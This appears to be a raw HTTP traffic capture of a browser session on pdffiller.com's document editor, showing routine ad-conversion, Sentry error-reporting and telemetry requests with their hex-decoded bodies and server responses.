2024-12-19 15:27:45 UTC	420	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:27:45 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close server: istio-envoy cache-control: no-cache, private x-ratelimit-limit: 3600 x-ratelimit-remaining: 3598 access-control-allow-origin: * x-envoy-upstream-service-time: 12 content-security-policy: default-src 'self' strict-transport-security: max-age=31536000; includeSubDomains
2024-12-19 15:27:45 UTC	114	IN	Data Raw: 36 63 0d 0a 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 64 61 74 61 22 3a 7b 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2d 61 6b 2e 70 64 66 66 69 6c 6c 65 72 2e 63 6f 6d 5c 2f 66 72 6f 6e 74 65 6e 64 5c 2f 53 75 70 70 6f 72 74 43 68 61 74 5c 2f 35 32 31 30 30 5c 2f 70 72 6f 64 75 63 74 2e 6a 73 22 7d 7d 0d 0a Data Ascii: 6c{"status":true,"data":{"src":"https:\/\/static-ak.pdffiller.com\/frontend\/SupportChat\/52100\/product.js"}}
2024-12-19 15:27:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:45 UTC	2665	OUT	GET /pagead/1p-conversion/972636148/?random=1009888212&cv=11&fst=1734622061570&bg=ffffff&guid=ON&async=1&gtm=45be4cc1v890312743z878355092za201zb78355092&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Df&label=5lebCLn80awBEPT_5M8D&hn=www.googleadservices.com&frm=0&tiba=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&value=0&npa=0&pscdl=noapi&auid=31251489.173 [TRUNCATED] Host: www.google.com Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wB Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-19 15:27:45 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 19 Dec 2024 15:27:45 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-19 15:27:45 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:45 UTC	766	OUT	POST /api/4508088791072768/envelope/?sentry_key=c1dd57b0b03fd991762bee3e1ec2bf4c&sentry_version=7&sentry_client=sentry.javascript.react%2F8.35.0 HTTP/1.1 Host: o178032.ingest.us.sentry.io Connection: keep-alive Content-Length: 490 sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.pdffiller.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-19 15:27:45 UTC	490	OUT	Data Raw: 7b 22 73 65 6e 74 5f 61 74 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 35 3a 32 37 3a 34 33 2e 38 34 30 5a 22 2c 22 73 64 6b 22 3a 7b 22 6e 61 6d 65 22 3a 22 73 65 6e 74 72 79 2e 6a 61 76 61 73 63 72 69 70 74 2e 72 65 61 63 74 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 2e 33 35 2e 30 22 7d 7d 0a 7b 22 74 79 70 65 22 3a 22 73 65 73 73 69 6f 6e 22 7d 0a 7b 22 73 69 64 22 3a 22 31 62 61 37 31 66 34 32 66 36 64 63 34 65 34 34 39 37 63 38 31 62 36 30 38 35 65 65 34 66 62 32 22 2c 22 69 6e 69 74 22 3a 74 72 75 65 2c 22 73 74 61 72 74 65 64 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 35 3a 32 37 3a 34 33 2e 38 34 30 5a 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 35 3a 32 37 3a 34 33 2e 38 34 30 5a 22 2c 22 73 74 61 74 75 73 Data Ascii: {"sent_at":"2024-12-19T15:27:43.840Z","sdk":{"name":"sentry.javascript.react","version":"8.35.0"}}{"type":"session"}{"sid":"1ba71f42f6dc4e4497c81b6085ee4fb2","init":true,"started":"2024-12-19T15:27:43.840Z","timestamp":"2024-12-19T15:27:43.840Z","status
2024-12-19 15:27:45 UTC	530	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:27:45 GMT Content-Type: application/json vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: * access-control-expose-headers: x-sentry-error,x-sentry-rate-limits,retry-after cross-origin-resource-policy: cross-origin Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-12-19 15:27:45 UTC	12	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2{}0

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:46 UTC	691	OUT	POST /collect HTTP/1.1 Host: fga.infrateam.net Connection: keep-alive Content-Length: 5372 sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-platform: "Windows" x-faro-session-id: 652dbb9ebce848019b59684b5941e680 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 x-api-key: api_key Content-Type: application/json Accept: / Origin: https://www.pdffiller.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-19 15:27:46 UTC	5372	OUT	Data Raw: 7b 22 6d 65 74 61 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 31 2e 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6e 61 6d 65 22 3a 22 64 65 73 6b 31 39 2d 65 64 69 74 6f 72 2d 66 72 6f 6e 74 22 2c 22 6e 61 6d 65 73 70 61 63 65 22 3a 22 6a 73 66 69 6c 6c 65 72 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 32 2e 33 37 2e 37 22 7d 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 6e 61 6d 65 22 3a 22 43 68 72 6f 6d 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 32 38 2e 30 2e 30 2e 30 22 2c 22 6f 73 22 3a 22 57 69 6e 64 6f 77 73 20 31 30 22 2c 22 75 73 65 72 41 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 Data Ascii: {"meta":{"sdk":{"version":"1.11.0"},"app":{"name":"desk19-editor-front","namespace":"jsfiller","version":"2.37.7"},"browser":{"name":"Chrome","version":"128.0.0.0","os":"Windows 10","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
2024-12-19 15:27:46 UTC	187	IN	HTTP/1.1 202 Accepted Date: Thu, 19 Dec 2024 15:27:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close Access-Control-Allow-Origin: * Vary: Origin
2024-12-19 15:27:46 UTC	2	IN	Data Raw: 6f 6b Data Ascii: ok